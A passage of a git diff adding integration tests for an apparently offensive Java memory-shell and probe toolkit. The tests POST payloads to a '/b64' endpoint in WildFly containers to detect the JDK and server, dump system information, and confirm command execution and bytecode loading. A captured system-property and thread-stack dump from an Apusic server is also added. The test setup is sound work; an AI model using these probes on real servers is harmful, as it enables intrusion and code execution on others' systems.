com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly18ContainerTest { + public static final String imageName = "jboss/wildfly:18.0.1.Final"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|11.0.5|55", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.UNDERTOW, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java new file mode 100644 index 00000000..e58d70c2 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly23ContainerTest.java @@ -0,0 +1,74 @@ +package com.reajason.javaweb.integration.probe.wildfly; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly23ContainerTest { + public static final String imageName = "jboss/wildfly:23.0.2.Final"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|11.0.8|55", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.UNDERTOW, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java new file mode 100644 index 00000000..35840074 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly30ContainerTest.java @@ -0,0 +1,73 @@ +package com.reajason.javaweb.integration.probe.wildfly; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly30ContainerTest { + public static final String imageName = "quay.io/wildfly/wildfly:30.0.1.Final-jdk17"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|17.0.9|61", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.UNDERTOW, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V17); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V17); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java new file mode 100644 index 00000000..734b46bb --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly9ContainerTest.java @@ -0,0 +1,77 @@ +package com.reajason.javaweb.integration.probe.wildfly; + +import com.reajason.javaweb.Constants; +import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.VulTool; +import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.Server; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.nio.file.Files; +import java.nio.file.Paths; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Wildfly - DockerHub + * Wildfly - Quay + * + * @author ReaJason + * @since 2024/12/10 + */ +@Slf4j +@Testcontainers +public class Wildfly9ContainerTest { + public static final String imageName = "jboss/wildfly:10.0.0.Final"; + @Container + public static final GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + @Test + void testJDK() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); + assertEquals("JDK|1.8.0_191|52", data); + } + + @Test + @SneakyThrows + void testBasicInfo() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); + Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); + } + + @Test + void testServerDetection() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); + assertEquals(Constants.Server.UNDERTOW, data); + } + + @Test + @SneakyThrows + void testCommandReqHeaderResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + } + + @Test + @SneakyThrows + void testBytecodeReqParamResponseBody() { + String url = getUrl(container); + ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8); + } +} diff --git a/integration-test/src/test/resources/infos/Apusic10ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Apusic10ContainerTestBasicInfo.txt new file mode 100644 index 00000000..e02ab03a --- /dev/null +++ b/integration-test/src/test/resources/infos/Apusic10ContainerTestBasicInfo.txt @@ -0,0 +1,1664 @@ +# Generated At 2021-01-31 12:30:00 +SystemProps: +java.vendor: Oracle Corporation +Apusic_Platform: Felix +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/apusic/aas/domains/mydomain +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.sun.enterprise.jaccprovider.property.repository: /usr/local/apusic/aas/domains/mydomain/generated/policy +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/apusic/aas/domains/mydomain/config/logging.properties +sun.boot.class.path: /usr/local/apusic/aas/modules/endorsed/jakarta.annotation-api.jar:/usr/local/apusic/aas/modules/endorsed/jakarta.xml.bind-api.jar:/usr/local/apusic/aas/modules/endorsed/webservices-api-osgi.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes:/usr/local/apusic/aas/lib/grizzly-npn-api.jar +javax.security.jacc.PolicyConfigurationFactory.provider: com.sun.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +EXPDATE: 2021-12-30 04:00:00 +java.runtime.version: 1.8.0_342-b07 +javax.net.ssl.keyStore: /usr/local/apusic/aas/domains/mydomain/config/keystore.jks +user.name: root +osgi.shell.telnet.ip: 127.0.0.1 +com.apusic.aas.javaRoot: /usr/local/openjdk-8/jre +com.apusic.aas.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +user.language: en +apusic.http.errorpage.server.disabled: true +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +AS_IMQ_LIB: /usr/local/apusic/aas/config/../../mq/lib +com.apusic.enterprise.overrideablejavaxpackages: javax.validation +com.apusic.aas.instanceName: server +com.apusic.aas.instanceRootURI: file:/usr/local/apusic/aas/domains/mydomain/ +java.util.logging.manager: com.apusic.aas.logging.ApusicLogManager +java.version: 1.8.0_342 +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +aas.version: Apusic Application Server 10.0.8 EE.SP8.ST. (build 202503270844) +java.endorsed.dirs: /usr/local/apusic/aas/modules/endorsed:/usr/local/apusic/aas/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +com.sun.enterprise.J2EEServerId: 100 +java.class.version: 52.0 +com.apusic.aas.domainsRoot: /usr/local/apusic/aas/domains +java.home: /usr/local/openjdk-8/jre +felix.fileinstall.dir: /usr/local/apusic/aas/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +path.separator: : +com.apusic.aas.hostName: 64daaeb982f0 +java.vm.version: 25.342-b07 +com.apusic.aas.agentRoot: /usr/local/apusic/aas/nodes +org.glassfish.gmbal.no.multipleUpperBoundsException: true +AS_CONFIG: /usr/local/apusic/aas/config/../config +com.apusic.security.ssl.EnableGMTLS: false +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +AS_IMQ_BIN: /usr/local/apusic/aas/config/../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/apusic/aas/domains/mydomain/config/server.policy +jdk.tls.rejectClientInitiatedRenegotiation: true +sun.io.unicode.encoding: UnicodeLittle +EXPDATETIME: 1640880000000 +com.apusic.aas.instanceRoot: /usr/local/apusic/aas/domains/mydomain +awt.toolkit: sun.awt.X11.XToolkit +AS_INSTALL: /usr/local/apusic/aas/config/.. +felix.fileinstall.disableConfigSave: false +java.security.egd: file:/dev/urandom +com.apusic.aas.javaRoot.asenv: /usr/local/apusic/openjdk +user.home: /root +java.specification.vendor: Oracle Corporation +AS_DERBY_INSTALL: /usr/local/apusic/aas/config/../../javadb +java.library.path: /usr/local/apusic/aas/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Oracle Corporation +com.apusic.aas.imqLib: /usr/local/apusic/mq/lib +jdk.corba.allowOutputStreamSubclass: true +com.apusic.aas.configRoot: /usr/local/apusic/aas/config +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.apusic.enterprise.aas.bootstrap.AASMain -upgrade false -domaindir /usr/local/apusic/aas/domains/mydomain -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,6848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/apusic/aas/domains,,,mydomain -domainname mydomain -instancename server -type DAS -verbose true -asadmin-classpath /usr/local/apusic/aas/modules/aas-admin-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain +java.class.path: /usr/local/apusic/aas/modules/aas.jar:/usr/local/apusic/aas/lib/monitor/aas-flashlight-agent.jar +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/apusic/aas/domains/mydomain +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +provision.exclude.local.repository: true +AS_DEF_DOMAINS_PATH: /usr/local/apusic/aas/config/../domains +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/local/openjdk-8/jre/lib/ext:/usr/local/apusic/aas/domains/mydomain/lib/ext +com.apusic.aas.derbyRoot: /usr/local/apusic/javadb +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/apusic/aas/domains/mydomain/config +APUSIC_DISABLE_CONSOLE_LOG: true +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +com.ctc.wstx.returnNullForDefaultNamespace: true +java.security.auth.login.config: /usr/local/apusic/aas/domains/mydomain/config/login.conf +com.apusic.aas.installRootURI: file:/usr/local/apusic/aas/ +com.apusic.aas.imqBin: /usr/local/apusic/mq/bin +apusic.admin.useIp.enabled: true +javax.management.builder.initial: com.apusic.enterprise.v10.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +com.sun.enterprise.security.httpsOutboundKeyAlias: kaas +com.apusic.aas.productRoot: /usr/local/apusic +LICEE: Trail User +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +com.apusic.aas.installRoot: /usr/local/apusic/aas +__LIC_CONCURRENT__: 5 +felix.fileinstall.bundles.new.start: true +java.specification.version: 1.8 +javax.net.ssl.trustStore: /usr/local/apusic/aas/domains/mydomain/config/cacerts.jks +JMS_PROVIDER_PORT: 6876 +AS_JAVA: ../../openjdk +osgi.shell.telnet.port: 6866 + +=========================================== + +ThreadStacks: +"Grizzly(1)" #47 daemon [WAITING] on java.lang.Object@473c6bdd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-53" #145 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-19-thread-1" #113 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@181d8a00 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2-kernel(1) SelectorRunner" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:92) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:312) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:252) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"dol-jar-scanner" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@759377 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(5)" #85 daemon [WAITING] on java.lang.Object@19dab33a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-10" #29 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@325e34c3 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@70a749df + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"CM Configuration Updater" #137 daemon [WAITING] on java.util.LinkedList@44a07a1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:83) + at java.lang.Thread.run(Thread.java:750) + +"Monitor-Alarm-GC-Timer-0" #100 daemon [TIMED_WAITING] on java.util.TaskQueue@6b45a7f7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"pool-12-thread-1" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@61196d4e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2-expirer(1)" #78 daemon [TIMED_WAITING] on java.lang.Object@1a83dbcd + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-57" #149 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@eb26cd1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"process reaper" #15 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@43db6439 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1-kernel(1) SelectorRunner" #72 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:92) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:312) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:252) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"pool-22-thread-1" #123 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@725c9138 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at 